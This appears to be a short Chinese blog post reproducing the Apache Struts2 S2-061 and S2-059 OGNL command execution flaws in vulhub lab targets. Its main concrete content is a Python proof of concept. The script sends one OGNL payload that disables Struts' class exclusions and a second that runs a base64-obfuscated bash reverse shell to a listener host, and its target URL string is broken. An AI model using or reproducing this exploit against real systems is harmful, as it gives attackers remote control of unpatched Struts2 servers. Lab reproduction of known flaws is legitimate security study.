命令执行漏洞复现
分类:行业新闻 时间:2024-06-11 10:26:07 阅读:293
1.漏洞介绍
Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。Struts2 会对某些标签属性(比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。
2. 漏洞影响
范围:Apache Struts 2.0.0 - 2.5.25
3.漏洞复现
3.1 s2-061漏洞复现
vulhub启动s2-061漏洞靶场
s2-061漏洞利用
3.2 s2-059漏洞复现
vulhub启动s2-059漏洞靶场
s2-059漏洞利用,获取python地址
撰写POC脚本
在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令.
可看到在/tmp/路径下,已成功创建的success文件,说明漏洞利用成功
4.反弹shell
受害端执行反弹shell命令
控制端监听,并执行创建文件file.txt命令
执行反弹shell的POC如下:
import requests url = " data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"} data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}'))}"} res1 = requests.post(url, data=data1) res2 = requests.post(url, data=data2)